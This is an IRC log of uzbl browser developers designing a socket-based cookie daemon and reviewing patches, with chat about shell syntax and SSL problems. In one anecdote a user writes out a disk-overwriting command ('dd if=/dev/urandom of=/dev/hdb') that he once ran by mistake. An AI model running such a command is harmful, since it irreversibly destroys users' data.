20:18 < Dieterbe> heh don't worry about it
20:18 < lwithers> is it worth me writing a C cookie daemon or should I wait for someone else to update something?
20:20 < mason-l> lwithers, I'm going to write a python cookie daemon right now for you :)
20:21 < lwithers> ok :)
20:21 < Dieterbe> i think someone already did that. bob_f or holizz or bct
20:21 < Dieterbe> oh yeah, i'm lacking a few days behind code review/merge-wise. sorry about that
20:22 < holizz> bob_f, I think. And he merged it with my updated cookies.py just the other day.
20:23 < lwithers> got a link?
20:27 < holizz> Hmm. I wonder.
20:28 < mason-l> lwithers, Still need me to cook that cookies.py up?
20:29 < lwithers> mason-l: I don't think so, looks like we can use what bob_f has done (if someone can find it!)
20:31 < holizz> Somebody scroll up, because I can't remember where it is.
20:34 < Dieterbe> well he didn't mention explicitly, just checked that
20:34 < Dieterbe> probably it's just in his tree on github?
20:34 < holizz> Might be.
20:35 < ruskie> hmm someone removed all the font size settings from the example config
20:35 < Dieterbe> that would be me
20:35 < ruskie> any particular reason?
20:35 < ruskie> or is there some bigger config-example-full file with all the references
20:35 < Dieterbe> we're now documenting all variables in the readme. so the sample config should be slim and only contain useful things for new people
20:35 < ruskie> ahh
20:38 < lwithers> what is bob_f's branch on github?
20:38 < mason-l> bob_f doesnt use github
20:38 < lwithers> ok, his url then?
20:38 < lwithers> (would explain why a search there turned up nothing...)
20:38 < mason-l> I think everyone is thinking of http://bitbucket.org/bobf/uzbld/
20:39 < lwithers> great
20:39 < lwithers> gah mercury :(
20:40 < mason-l> lwithers, Any reason you chose to use SOCK_SEQPACKET instead of SOCK_STREAM? (reading the mailing list)
20:40 < ruskie> Dieterbe, anything else other than AUTHORS, README and modifications that would need to be added?
20:41 < lwithers> mason-l: yes, SOCK_STREAM requires much more complex handling since we have to do message delimiting ourselves
20:41 < lwithers> whereas read() and write() on SOCK_SEQPACKET is guaranteed to be atomic and message boundaries are preserved
20:42 < mason-l> So every read on the socket will only return a single write "packet" ?
20:42 < lwithers> mason-l: yes, that's right
20:42 < mason-l> even if there are multiple stacked up waiting to be read (am I interpreting that correctly?)
20:42 < lwithers> then we arrange for each packet written from uzbl.c to be a single cookie read or write request
20:42 < lwithers> mason-l: yes
20:42 < mason-l> Nice.
20:42 < Dieterbe> ruskie: added? add what to what?
20:43 < ruskie> Dieterbe, I'm proping my font_family stuff into a commit and will push it to a repo so you can finally merge it
20:43 < mason-l> lwithers, Well, are you sure in that case that cookie data will not exceed 64kb ?
20:43 < Dieterbe> ruskie: huh? it was merged already a long time ago
20:44 < lwithers> mason-l: technically cookie data could be 80kB but in practice we think that would be excessive
20:44 < ruskie> Dieterbe, was it?
20:44 < ruskie> Dieterbe, last I heard you told me you won't merge it
20:44 < ruskie> until I get it cleaned up etc...
20:44 < lwithers> according to cookie spec, each cookie can be up to 4kB and there can be up to twenty in the header
20:44 < Dieterbe> ruskie: oooh
20:44 < Dieterbe> ruskie: right
20:44 < ruskie> :)
20:44 < Dieterbe> ruskie: we talked about that so many times i guess i thought i already did it
20:45 < ruskie> so I'm asking if there's any other file I need to update othur than AUTHORS and README for the commit
20:45 < Dieterbe> ruskie: no that sounds good. as long as you did whatever i told you to do last time :P
20:45 < ruskie> yup
20:45 < ruskie> that I did
20:45 < Dieterbe> what did i tell you btw? :)
20:46 < ruskie> to allign the stuff in the big table
20:46 < Dieterbe> hmm that was on your first request i think, you tried again later, no? and then there was something else i didn't like IIRC
20:46 < ruskie> yeah it was against master and not experimental
20:46 < Dieterbe> aha
20:46 < ruskie> now it's against experimental :)
20:47 < ruskie> and updated the code to use void instead of static void(like I saw in all others) etc...
20:47 < Dieterbe> right
20:47 < Dieterbe> can you do it the new way? a pull request to the ML ?
20:48 < ruskie> yeah
20:48 < ruskie> just setting up a git repo for it to live in
20:49 < holizz> Hey, when scheme_handler gets merged in, we'll have yet another alternative to the history_handler.
20:50 < Dieterbe> ruskie: great
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20:52 < ruskie> gah... just did a rm -rf on it all... grumbl...
20:53 < mason-l> lwithers, Am I correct in assuming that talk_to_socket function actually creates the cookie_socket?
20:53 < ruskie> I always do stupid things in the evening
20:53 < lwithers> mason-l: no
20:53 < lwithers> mason-l: the socket is created by the server (daemon), uzbl.c connects to it
20:53 < lwithers> i.e. your cookie daemon creates say /tmp/cookie-socket
20:53 < lwithers> and whenever any instance of uzbl wants to put a cookie it connects to /tmp/cookie-socket and writes a packet to it
20:54 < mason-l> Ok, thats good. I was confused by the error message on line 1436 "g_printerr("talk_to_socket: creating socket failed (%s)\n", strerror(errno));"
20:54 < lwithers> ok, that means that creating an unbound socket file descriptor failed :)
20:55 < mason-l> Did you find that script?
20:55 < lwithers> bob_f's ? yes, hacking on it now
20:55 < Dieterbe> ruskie: well. that was really stupid :)
20:56 < ruskie> I did a git diff earlier and as my scrollback is like 99999 or some such I still have the changes :)
20:56 < ruskie> Dieterbe, I once did dd if=/dev/urandom of=/dev/hdb when hdb was an active lvm volume
20:56 < ruskie> also at around the same time in the evening
20:57 < Dieterbe> holizz: your new pull request is basitcally your previous + 2 commits or so?
20:57 < mason-l> lwithers, I'm going to have a crack at it too :)
20:57 < Dieterbe> ruskie: scrollback win!
20:57 < holizz> Dieterbe, Wasn't that one that you vetoed, saying I should make scheme_handler not use a whitelist?
20:59 < Dieterbe> holizz: your previous merge request is still in my todo queue so it was not vetoed. and everything i said about how to implement the decision making about protocols and such are more proposals and ideas then "demands"
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20:59 < Dieterbe> holizz: i hope you didn't blindly change a lot of stuff now becauseyou thought i wanted this or that?
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20:59 < lwithers> doesn't python have something higher level than select.poll() ?
21:01 < holizz> Dieterbe, Meh, either way works. This way is less code, at least.
21:02 < Dieterbe> holizz: so i can discard your earlier pull request? i should now diff against latest scheme_handler branch
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21:03 < lwithers> nonblocking servers in python are hard :( why does python make it so hard?
21:03 < holizz> Dieterbe, Yeah, ignore the old request. The new one is up-to-date with your experimental as of ten minutes ago.
21:04 < Dieterbe> ok
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21:09 < bct> lwithers, what's hard about while 1: r,w,x = select.select(r, [], []) ?
21:10 < lwithers> you have to maintain a hash table of file descriptors to objects
21:10 < lwithers> when the poll(2) system call already does that for you
21:11 < lwithers> but python doesn't expose it
21:11 < bct> eh? no you don't
21:11 < bct> Among the acceptable object types in the sequences are ... socket objects returned by socket.socket()
21:11 < lwithers> ok, how does it work then?
21:11 < bct> r is just a list of sockets
21:12 < lwithers> ok; how do I know whether it was my server socket or a client socket and dispatch the callback appropriately?
21:12 < bct> either socket objects returned by socket.socket(), or ones returned by sock.accept()
21:12 < bct> for x in r: if x == server_socket: handle_new_connection else: handle_request(x)
21:13 < lwithers> not very OO, but ok
21:14 < bct> if you really care you can write class ServerSocket and class ConnectionSocket and wrap new sockets when you get them.
21:23 < mason-l> Whats the XDG_CACHE_DIRS or something?
21:23 < mason-l> To store temp data
21:23 < lwithers> $HOME/.cache usually
21:23 < lwithers> yes
21:23 < mason-l> But thats the correct name?
21:24 < mason-l> Does XDG_CACHE_DIR work?
21:24 < mason-l> (non xdg user here)
21:24 < lwithers> XDG_CACHE_HOME
21:24 < lwithers> http://standards.freedesktop.org/basedir-spec/basedir-spec-0.6.html
21:24 < mason-l> lwithers, Perfect thanks.
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21:29 < Dieterbe> lwithers> not very OO, but ok <-- who cares about OO :)
21:29 < Dieterbe> at least, for something as simple as this
21:30 < lwithers> meh, I gave up on the python thing, I'm obviously not a Python programmer
21:30 < mason-l> lwithers, I'm still going strong.
21:35 < Dieterbe> lwithers: did you receive any non-positive feedback on your work from anyone?
21:37 < lwithers> Dieterbe: no, I have been asked whether SOCK_SEQPACKET is appropriate but it seems it is
21:38 < Dieterbe> lwithers: okay
21:38 < Dieterbe> lwithers: another thing, did you check if all of this wouldn't be easier to do with glibs functions?
21:39 < lwithers> glib doesn't have a SOCK_SEQPACKET implementation from what I can see
21:39 < lwithers> it may be possible to rewrite some of the bits using e.g. glib arrays but there is no advantage that I can see
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21:57 < Dieterbe> bct: did you do the new python daemon-based cookie handler?
22:02 < bct> no, i wrote a ruby one.
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22:02 < Dieterbe> ah, k
22:02  * ruskie hopes he finally got stuff right
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22:03 < bct> if somebody wrote a python one it was last night while i was offline :)
22:03 < bct> i'd guess bob_f
22:03 < Dieterbe> k
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22:35 < github> uzbl: ruskie experimental SHA1-f16de7c
22:35 < github> uzbl.c, uzbl.h: added _font_family variables
22:35 < github> http://bit.ly/16dbAi
22:35 < github> uzbl: Dieter Plaetinck experimental SHA1-90631ed
22:35 < github> merge in ruskies font family patch
22:35 < github> http://bit.ly/GB58A
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22:35 < ruskie> yay
22:36 < ruskie> don't forget to mark fs#62 as closed fixed :)
22:37 < Dieterbe> that's exactly what i'm diong now :)
22:46 < helmut> hmmm. somehow I seem to get started with git (slowly, but started).
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23:15 < mason-l> lwithers, Are you still online?
23:15 < lwithers> mason-l: yes
23:15 < mason-l> I've finished a (non-tested) version of the cookie daemon if you would like to see if you can get it working.
23:15 < helmut> have you noticed that since argv[1] is used as uri many command line examples are broken as the first argument seems to always be used as uri?
23:16 < lwithers> mason-l: can do. can you not test it yourself?
23:16 < mason-l> I dont have a copy of uzbl with socket cookie handler support
23:17 < mason-l> Wait.. maybe I do.
23:17 < piroko> Wow. The entire history of uzbl only has 11 recorded authors
23:17 < lwithers> mason-l: it's in experimental now
23:17 < mason-l> Nice.
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23:28 < mason-l> lwithers, Have I set this correctly: et cookie_handler = talk_to_socket $HOME/.cache/uzbl/cookie_daemon_socket $HOME/cookie_daemon.py
23:28 < mason-l> 'set
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23:29 < lwithers> we haven't implemented starting the daemon yet
23:29 < lwithers> so drop the .py file argument
23:29  * mason-l facepalms 
23:29 < mason-l> Nice one :)
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23:55 < mason-l> My average cookie fetch time is 0.002 ms
23:55  * mason-l feels good. 
23:55  * ruskie still has no persistent cookie handling
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00:07 < holizz> Thanks Gmail, I only sent that to Dieterbe, and not the ML.
00:21 < lwithers> well, I now have a C cookie daemon, though it only stores cookies in RAM at present
00:21 < lwithers> I think it proves the concept though :)
00:23 < holizz> lwithers, Try libsoup. That has file-based cookie storage. Although it doesn't work as well as Python's cookielib AFAICT.
00:24 < lwithers> nah I like mine :)
00:25 < holizz> Will code reuse ever become popular?
00:25 < holizz> Anyway, good night #uzbl.
00:25 < lwithers> only if original code is any good
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00:28 < ruskie> :)
00:29 < ruskie> code reuse is good when you want to do the same thing everyone else is doing...
00:29 < ruskie> in this case so many people want to make their own things it's pointless
00:29 < mason-l> Whoops, its 6:30AM
00:30 < ruskie> whoops it's 0030
00:32 < mason-l> Who wrote the original cookies.py ?
00:32 < ruskie> it's probably in git log
00:33 < mason-l> I don't want to slap a banger GPL on the top without talking to every author of cookies.py and getting their permission first.
00:36 < mason-l> Afaik its all Dieterbe and holizz
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01:02 < mason-l> Finished: http://github.com/mason-larobina/uzbl/blob/cookie_daemon/examples/data/uzbl/scripts/cookie_daemon.py
01:03 < mason-l> Dieterbe, Let me know if that copywrite is ok with you.
01:03 < mason-l> Eeek! I mean copyright.
01:03  * mason-l needs some sleep. 
01:03 < mason-l> Night guys.
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09:29 < mason-l> holizz, Hey buddy
09:29 < mason-l> holizz, You did the original work on cookies.py didn't you?
09:30 < holizz> I did indeed.
09:31 < mason-l> And just with uzbl_tabbed.py you had no problem it being released under the GPL?
09:32 < holizz> No, that's fine.
09:32 < holizz> Technically I think it may be a derrivative work of uzbl.
09:34 < mason-l> holizz, I just needed to find out if the copyright I've put at the top of my cookie_daemon.py was alright by you as it expands entirely on your original cookies.py
09:34 < mason-l> http://github.com/mason-larobina/uzbl/blob/cookie_daemon/examples/data/uzbl/scripts/cookie_daemon.py
09:34 < mason-l> Thats the daemon there ^
09:35 < mason-l> (I've commented out the daemonisation (for testing) and the daemon_timeout I've set to null because uzbl doesnt have the ability to automatically start daemons yet)
09:35 < mason-l> But I wouldn't mind your feedback on the script :)
09:37 < mason-l> The only problem I have with it is line 188 I only do a single client_socket.recv(4096) but theres something weird about socket.SOCK_SEQPACKET that prevent me from performing multiple read requests for a single "packet".
09:37 < mason-l> I mean thats the whole point of SOCK_SEQPACKET sockets.
09:54 < Dieterbe> good morning ladies
09:54 < mason-l> Morning Dieterbe
10:01 < mason-l> holizz, bob_f worked on cookie.py also didn't he?
10:01 < mason-l> 'cookies.py
10:02 < holizz> mason-l, Yeah, I think bob_f had some cookie thing based on cookies.py.
10:03 < mason-l> holizz, But you didnt pull in his changes?
10:03 < Dieterbe> piroko> Wow. The entire history of uzbl only has 11 recorded authors <-- hmm that's odd
10:03 < holizz> mason-l, It was a cookie daemon thing.
10:03 < mason-l> holizz, Ah yes.
10:04 < mason-l> holizz, Given the new talk_to_socket a whirl yet?
10:04 < Dieterbe> piroko: dieter@dieter-ws-a7n8x-arch uzbl [experimental] git log | grep '^Author' | sort | uniq | wc -l
10:04 < Dieterbe> 41
10:04 < holizz> Dieterbe, git log | grep Author | sort | uniq | wc -l ==> 39
10:04 < Dieterbe> ha!
10:04 < holizz> Snap.
10:04 < mason-l> Dieterbe, Maybe he means uzbl.c only.. ?
10:05 < Dieterbe> dunno
10:07 < holizz> git blame uzbl.c | cut -d\( -f 2 | cut -d\  -f1 | sort | uniq | wc -l ==> 23
10:09 < Dieterbe> git blame only tells you which was the most recent person who changed that particular line
10:09 < holizz> mason-l, Nope, not tried talk_to_socket yet. I should do that soon though, as I want to be using a cookielib-based handler again. libsoup's CookieJar is a bit broken.
10:09 < Dieterbe> if lines get removed or moved, you don't see the earlier authors with blame
10:09 < holizz> Dieterbe, Good point.
10:09 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git log uzbl.c | grep '^Author' | sort | uniq | wc -l
10:09 < Dieterbe> 26
10:10 < mason-l> holizz, Its really easy to use, the talk_to_socket changes have made their way into Dieterbe's experimental already.
10:10 < Dieterbe> the difference is suprisingly small, as the code has gone through many changes
10:10 < Dieterbe> (i'm talking about the wc -l here)
10:14 < mason-l> 0.
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10:29 < mason-l> "<mason-l> 0." <- Whoops wrong window.
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11:31 < holizz> Ugh. C is so shit. I'm trying to make uzbl support IDN.
11:35 < Phillemann> IDN?
11:36 < Phillemann> Ah, internationalization...
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11:37 < holizz> Indeed.
11:38 < holizz> I'm working on doing the same in PyWeb now, because I got bored of C's stupidity.
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12:12 < holizz> I'm liking this talk_to_socket/cookie_daemon.py solution. This seems about as fast as using FileCookieJar.
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12:27 < lwithers> mason-l: did you work out how to do your socket reading in the end?
12:32 < lwithers> holizz: what is broken about libsoup's cookie handling?
12:33 < holizz> lwithers, I have no idea. All I know is that my cookie_file branch doesn't work as well as a cookies.py-based solution (it usually fails with Gmail).
12:33 < lwithers> hmm, ok, I was thinking about what you said last night
12:34 < lwithers> I might try changing my C daemon to use libsoup's cookie handling
12:36 < holizz> Good plan, but yeah, their CookieJar does something weird that doesn't work on all Web sites.
12:37 < holizz> By the way, is the idea of your talk_to_socket to execute the second argument if the socket doesn't exist?
12:40 < lwithers> holizz: that was discussed, but not implemented
12:40 < lwithers> it would need a big tidy up of argument handling
12:40 < lwithers> (in uzbl.c that is)
12:40 < lwithers> which has yet to be addressed
12:53 < mason-l> Hey, just got back.
12:54 < mason-l> lwithers, Yes I did to an extent.
12:54 < lwithers> to an extent?
12:55 < mason-l> It works perfectly for small packets but anything larger than 4096 (which I havent come across) will be truncated and fail.
12:55 < mason-l> But fail silently.
12:56 < lwithers> ah
12:56 < lwithers> there's an ioctl which tells you how big the packet will be
12:57 < lwithers> alternatively, you could increase the size to say 5k
12:57 < lwithers> because each cookie can only ever be 4k (according to the spec anyway)
12:57 < lwithers> and there's only ever one cookie per write to the server
12:57 < mason-l> lwithers, Oh is that right?
12:57 < lwithers> (though there may be multiple coming back)
12:58 < lwithers> but you can use the FIONREAD ioctl on the socket to determine the size of the next packet
12:58 < mason-l> Ah well then, 4096 might be perfect (it just doesnt account for the size of the "PUT\0http\0...." length).
12:58 < lwithers> it returns 0 if no packet pending or the size of the packet in bytes otherwise
12:58 < lwithers> yep
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13:12 < lwithers> does one have to call something to initialise glib?
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13:25 < mason-l> lwithers, I'm not sure I am using ioctl correctly in python
13:25 < mason-l> I'm trying: fcntl.ioctl(client_socket.fileno(), termios.FIONREAD, "":w)
13:25 < mason-l> Whoops typo
13:26 < lwithers> in C, the last argument is a pointer to an integer
13:27 < lwithers> somebody has done:
13:27 < lwithers> size_int = c_int()
13:27 < lwithers> ioctl(self.fd, FIONREAD, size_int)
13:27 < lwithers> size = size_int.value
13:27 < lwithers> that might work for you
13:29 < mason-l> I keep getting an error: IOError(14, 'Bad address')
13:29 < mason-l> And when it does work I dont know what I'm receiving.
13:29 < lwithers> holizz: well, using libsoup's stuff, I seem to get somewhere with gmail
13:29 < lwithers> I do get "Oops the system encountered a problem (#6411)" at the top of the page
13:30 < lwithers> not sure if that's cookie-related or not though
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13:31 < lwithers> mason-l: hrm, that means it's being passed an invalid pointer
13:31 < holizz> lwithers, So you can login? And then load another instance and be logged-in when you visit gmail again?
13:31 < lwithers> can you paste the code somewhere?
13:31 < lwithers> holizz: yes
13:31 < lwithers> holizz: just tried it and it works fine
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13:32 < lwithers> I'll try using a file store for the cookies now and restarting the server across logins
13:33 < lwithers> yes, that works too
13:33 < holizz> lwithers, Interesting. Here's the patch I was using until this morning when I started using talk_to_socket/cookie_daemon.py: http://github.com/holizz/uzbl/commit/388c1cb90f12819c86a809c243b46dcd55172a38
13:33 < holizz> But I dropped that branch as the daemon works very quickly.
13:34 < lwithers> heh, must be something odd with the session integration then
13:34 < lwithers> the daemon of course doesn't have access to the session so I'm using the direct cookie jar calls in libsoup
13:36 < lwithers> one thing I don't know about is whether javascript can grab "http-only" cookies with the daemon setup
13:45 < lwithers> well I'll add some brief docs and then post this C daemon somewhere
14:03 < mason-l> lwithers, Is that 4k cookie size restriction a 4k restriction on the length of each key=value pair in the cookie or the entire cookie?
14:03 < lwithers> a cookie consists of only one key=value pair
14:03 < lwithers> (though 'value' may itself be key=value pairs)
14:03 < lwithers> and you only get passed a single cookie at once from uzbl
14:03 < lwithers> although you may return many in response to a GET
14:04 < mason-l> lwithers, And it doesnt matter if they are n*4k because uzbl uses an ioctl to find out the packet size ?
14:04 < lwithers> http://curl.haxx.se/rfc/cookie_spec.html <-- has some details
14:04 < mason-l> from gets that is
14:05 < lwithers> mason-l: yes
14:05 < lwithers> uzbl.c's receiver will handle up to 64k of data (only limited by SOCK_SEQPACKET message size)
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14:45 < lwithers> http://www.lwithers.me.uk/usr/src/cookie-handler/
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18:20 < bct> sudo paludis -i wolrd -p
18:20 < lwithers> Permission denied.
18:22 < bct> ahaha, oh dear.
18:22 < bct> stupid lag :(
18:22 < bct> i didn't even manage to type it right.
18:23 < bct> the moral of the story is don't buy a laptop with an atheros wireless card :(
18:25 < bct> btw i'm the dude with the cookie test suite. i'll try to get it working with cookies tonight, i might even move it to python just to make you happy
18:25 < lwithers> ah ok
18:26 < bct> s/with cookies/with sockets/
18:26 < lwithers> I think it would also be helpful to test mason-l's python socket daemon too
18:33 < bct> btw, sqlite3 ~/.mozilla/firefox/*/cookies.sqlite
18:33 < bct> select length(value) + length(name) + 1 from moz_cookies order by length(value) desc limit 1;
18:34 < bct> --> 1104
18:34 < bct> i think a 64k limit is no problem.
18:35 < bct> and that particular cookie is for an advertiser.
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18:37 < lwithers> yeah, I noticed the gmail cookies were pretty short too
18:41 < lwithers> so, what are people using for things like download manager / bookmarks / history viewer etc?
18:42 < Dieterbe> wget, joe, less :)
18:42 < Dieterbe> pretty much ;)
18:42 < lwithers> fair enough -- seems like a bit of work though?
18:42 < bct> download.sh / nothing / load_url_from_history.sh
18:43 < bct> there are a couple of improved download scripts floating around.
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20:01 < gentooer> Has anyone gotten link following working in gmail?  Gmail's built-in keyboard shortcuts are nice, but you can't control everything with them, like adding CC or attachments.
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00:31 < Rodya> maybe you guys know better than me, but is there any valid reason to have more information in the useragent other than webkit & its version?
00:38 < N30N_> Rodya: some site's expect a OS so they can point you to downloads for your OS/architecture
00:48 < Rodya> N30N_, i wonder how well those sites handle not having that information -does some tests-
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09:14 < Dieterbe> good morning
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09:20 < krayon> Dieterbe: evening :)
09:21 < krayon> Dieterbe: Hey what's the dealio with my mouse stuffs?  You said in email that you thought it was OK or something but you didn't pull it in?
09:22 < Dieterbe> i probably asked you to change/add something before i would pull it in
09:22 < Dieterbe> because it's not in my todo queue
09:27 < krayon> Nope.  You did ask 1 query about calling up menus but that's completely independent and unrelated to mouse bindings.
09:28 < Dieterbe> lets see..
09:28 < Dieterbe> >   2. I've added some examples to the config.  
09:28 < Dieterbe> great.  I would also like to see a section in the readme however.
09:28 < Dieterbe> ^^
09:29 < Dieterbe> i should probably have phrased that a little more direct :)
09:29 < Dieterbe> but basically: no documentation -> no merge
09:29 < krayon> ahh, ok np :P
09:30 < ruskie> :)
09:30 < Dieterbe> and the popping up menu's can be important if users decide to override rightclick
09:31 < krayon> true but they are separate in their own right.
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09:32 < krayon> You don't want to hold back the binding until you can bind everything you might possibly want after all :P
09:33 < krayon> For most people just being able to bind mouse2/8/9 and maybe wheelup/down would be all they ever use.
09:34  * ruskie is still waiing to see key bindings in the form of ctrl+alt+whatever and ctrl+whatever and alt+whatever all being used at the same time
09:34 < krayon> I've got that goin' on
09:35 < krayon> But it's not good enough for main
09:35 < Dieterbe> krayon: either way, once you reply to my mail and have fixed the readme. i'll probably merge it
09:35 < krayon> It's too messy and limited in my version atm
09:36 < krayon> Dieterbe: I don't really care but people seem to ask for it is all.
09:36  * krayon updates the readme
09:36 < Dieterbe> krayon: you don't care about what?
09:37 < krayon> I mean I don't care if the changes go in (as I use it already), I just want to help others :)
09:38 < Dieterbe> ah. right
09:38 < krayon> What I'm trying to say is that I think it'd be useful now even without being able to make menus popup.
09:39 < Dieterbe> yep
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09:43 < krayon> hmm
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10:22 < ruskie> gah I wish people used $() in shell scripts instead of ``
10:23 < Dieterbe> why?
10:24 < ruskie> because it's cleaner
10:24 < ruskie> and easier to nest
10:24 < ruskie> $(something $(somethingelse $(somethingelseagain)))
10:24 < ruskie> will work fine
10:24 < ruskie> I think you need to escape the `` if you want them nested
10:25 < ruskie> and yes POSIX defines $() and ``
10:25 < ruskie> so it's portable
10:25 < Dieterbe> but in cases where you don't need nested, what's wrong with `` ? it requires no subshell
10:25 < Dieterbe> if you don't need a subshell, i like to use ``
10:26 < ruskie> $() == ``
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10:27 < Dieterbe> no. $() uses a subshell. `` doesn't (at least in bash)
10:28 < ruskie> not according to the man page
10:28 < ruskie> says both are the same
10:29 < ruskie> http://sprunge.us/JXeD
10:29 < ruskie> doesn't mention a subshell anywhere
10:29 < ruskie> `` <-- is old-style that's all
10:29 < ruskie> I'm not talking about () <-- subshells
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10:31 < ruskie> actually according to the manpage `` is also in a subshell
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10:32 < ruskie> Command  substitution, commands grouped with parentheses, and asynchronous commands are invoked in a subshell environment that is a duplicateof  the  shell  environment
10:32 < ruskie> and `` is Command substitution
10:34 < ruskie> I just find $() much easier to read than ``
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10:47 < rob|> morning
10:47 < rob|> ack, $() and `` are equivalent
10:48 < rob|> just another notation for the same beast
10:49 < Dieterbe> odd
10:49 < Dieterbe> i always thought...
10:51 < rob|> anyways, i also like $() better. the rotten shels not supporting it are supposed to finally die!
10:51 < rob|> :P
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11:38 < mason-l> Afternoon guys
11:39 < Dieterbe> where do you live?
11:39 < mason-l> Western Australia
11:39 < mason-l> Near the most geographically isolated city on the planet.
11:40 < Dieterbe> :) which is...... sydny? just a guess :P
11:40 < Dieterbe> sydney*
11:40 < mason-l> Perth
11:40 < Dieterbe> oh sydney is east, right?
11:40 < mason-l> The capitol city in Western Australia
11:40 < mason-l> Yeah thats right :)
11:41 < Dieterbe> wow what a huge city
11:41 < Dieterbe> looks like a nice place
11:41 < mason-l> It is very nice :)
11:42 < Dieterbe> and now i'm amazed again that here we are, chatting in realtime
11:43 < Dieterbe> without noticeable delay
11:43 < mason-l> 0.6 seconds on my end
11:44 < mason-l> http://en.wikipedia.org/wiki/Perth,_Western_Australia
11:45 < Dieterbe> i was looking at that page :)
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12:09 < bandito85> Hey all! Im wondering how you guys manage to save usernames and passwords, for the sites you visit on daily basis? Is this task handled trough the cookies script?
12:10 < Dieterbe> no, we use the formfiller
12:10 < bandito85> so each time you visit a site you login
12:12 < holizz> bandito85, Cookies work too.
12:13 < bandito85> holizz: ty ill look into it
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12:23 < Dieterbe> guess i interpreted the question too literally
12:23 < Dieterbe> cookies usually don't actually store passwords, but yeah
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12:24 < Dieterbe> aaargh
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12:28 < Dieterbe> phew. back among the living
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13:13 < gDD> i fucked by Firefox and want to switch uzbl now:)
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13:18 < gDD> And http://www.uzbl.org/irc-log is so long that my Firefox stucked...
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13:51 < bob_f> Hooray, looks like somebody wrote the cookie daemon.
13:51 < mason-l> :)
13:51 < bob_f> lwithers: Did you base your stuff on my code at all ?
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14:11 < lwithers> bob_f: no, sorry :) just went ahead and wrote it like I normally write C daemons
14:11 < lwithers> could probably be improved by using glib's event loop rather than libevent
14:11 < bob_f> lwithers: Heh, no reason to apologise. :)
14:12 < bob_f> Been too tied up recently to do any work on code stuff so glad to see somebody else took care of it.
14:14 < lwithers> mason-l: what state is your cookie daemon in?
14:16 < mason-l> lwithers, As mentioned in the mailing list I'm still tossing up about how to handle existing socket files when the daemon starts up
14:17 < lwithers> ah ok
14:17 < bob_f> mason-l: Did you consider the suggested flock approach ?
14:17 < lwithers> well if the socket file exists you can tell if it's stale by trying to connect to it
14:17 < mason-l> I might go ahead and implement that socket "ping/pong" command/reply to check an existing socket has a working daemon connected to it. Other than that I've solved the problem with it abandoning the socket file when SIGTERM'd last night.
14:17 < lwithers> if the connect works, simply disconnect straight away; if the connect fails, the socket is stale
14:17 < mason-l> bob_f, How reliable is that?
14:18 < bob_f> mason-l: The ping/pong solution doesn't sit right with me.
14:18 < lwithers> you don't need to ping, just try to connect
14:18 < mason-l> lwithers, And the connect will fail if there is no listening server on the other end?
14:18 < lwithers> yup
14:18 < mason-l> Well thats easy.
14:18 < mason-l> Consider it done.
14:19 < bob_f> It'll be nice to see cookies working really well.
14:19 < bob_f> I'm finding myself kicked off quite a few websites because of (presumably) cookie issues.
14:19 < lwithers> you get ECONNREFUSED if you try to connect to socket but there's no actual server running
14:20 < lwithers> bob_f: seems to work, I have been "kicked off" some sites but packet trace has tied it down to SSL issues
14:20 < lwithers> I think maybe libsoup (?) is linked against gnutls and that still has some issues
14:20 < bob_f> lwithers: Ah. Yeah, it tends to be when I'm connected over SSL.
14:20 < bob_f> Internet banking, credit card applications etc..
14:21 < lwithers> for instance, if you go to http://www.smile.co.uk/ and go to "bank login" you'll get a nice reproduceable failure
14:21 < lwithers> amazon :(
14:21 < bob_f> That and the webkit JSON thing are the two reasons I still have to load firefox sometimes. :(
14:21 < lwithers> wireshark shows the client (me) sending out a correct ssl handshake, but the server immediately closes the connection
14:21 < bob_f> Hmm.
14:22 < lwithers> it could just be that some of the relevant ciphers are turned off in gnutls config
14:22 < lwithers> but I haven't been able to track it down
14:22 < bob_f> Maybe the headers sent out don't correctly represent what ciphers are available.
14:22 < bob_f> Perhaps the headers could be changed to only show capabilities for ciphers we know work.
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14:23 < lwithers> amazon is suggesting I would like a "Hannah Montana Microphone Alarm Clock" D:
14:23 < bob_f> Amazon always tries to sell me Twilight stuff.
14:23 < lwithers> bob_f: from what I understand, the cipher list will be correct, but it may be missing something required by the remote end
14:25 < mason-l> "You might also consider: Surely You're Joking, Mr. Feynman! Paperback by Richard P. Feynman... $15.95 $10.85" I might get that!
14:25 < lwithers> hehe :) QCD ftw
14:25 < mason-l> QED?
14:25 < mason-l> :P
14:25 < lwithers> quantum chromo-dynamics
14:26 < mason-l> Oh?
14:26 < lwithers> Richard Feynman's stuff
14:26 < mason-l> I'm only familiar with his quantum electro-dynamics work
14:27  * mason-l hasn't read any of his books. 
14:27 < scj> surely you're joking, mr feynman is pretty good
14:27 < lwithers> now I might buy it too :)
14:27 < scj> actually, it's really good
14:38 < Dieterbe> mason-l: lwithers bob_f : am i missing something? if a program is supposed to create a socket and it already exist, that program should die.  if a program needs to use a socket, it should just try to use it.  i don't really see the problem
14:39 < lwithers> Dieterbe: sockets persist on the filesystem after the server providing them dies
14:40 < Dieterbe> so, that's why you can use $XDG_CACHE_HOME or /tmp. with the former you could clear it yourself when you log out of X, the latter gets cleaned automatically
14:41 < lwithers> but if the server crashes? or is killed? or there's a power failure? etc
14:41 < lwithers> it's much more robust, not to mention easy to implement, to check if the socket is active or not; this is done in the daemon's own startup routines so not part of uzbl
14:41 < Dieterbe> echo 'rm $XDG_CACHE_HOME/uzbl-*' >> ~/.xinitrc
14:42 < lwithers> still doesn't cover the crashed/killed cases
14:42 < Dieterbe> ah you mean when you stay logged in
14:42 < mason-l> Yes
14:43 < Dieterbe> okay, good arguments then
14:43 < Dieterbe> could you tell me briefly how it will be implemented?
14:43 < lwithers> yes, certainly, http://www.lwithers.me.uk/usr/src/cookie-handler/ :)
14:44 < Dieterbe> i'll put it in my 'to read' list
14:44 < lwithers> sure, but the nice thing is that the daemon implementation is completely decoupled from uzbl itself
14:45 < lwithers> so we can swap things around and change them and so on and not have to worry about changing uzbl
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16:07 < ruskie> hmm I wonder how many simple webkitgtk browsers will popup
16:08 < mason-l> In some respects: the more the better.
16:10 < lwithers> looks like it's easy to write one; the problem would be getting enough people to use any given one to make it worthwhile maintaining
16:10  * dunz0r has got a webkitbased browser on his phone
16:10 < lwithers> recent nokias use webkit don't they?
16:11 < ruskie> s60 nokias use it
16:11 < lwithers> right, I have an n79 so that has it
16:11 < ruskie> my n95 has webkit
16:11 < lwithers> it also has native VOIP which is way cool :)
16:11 < ruskie> same here though I don't use it
16:11 < ruskie> battery just dies to quickly with 3g
16:12 < lwithers> yeah, I here they messed up the n96 client but the n95 works well
16:12 < lwithers> hear*
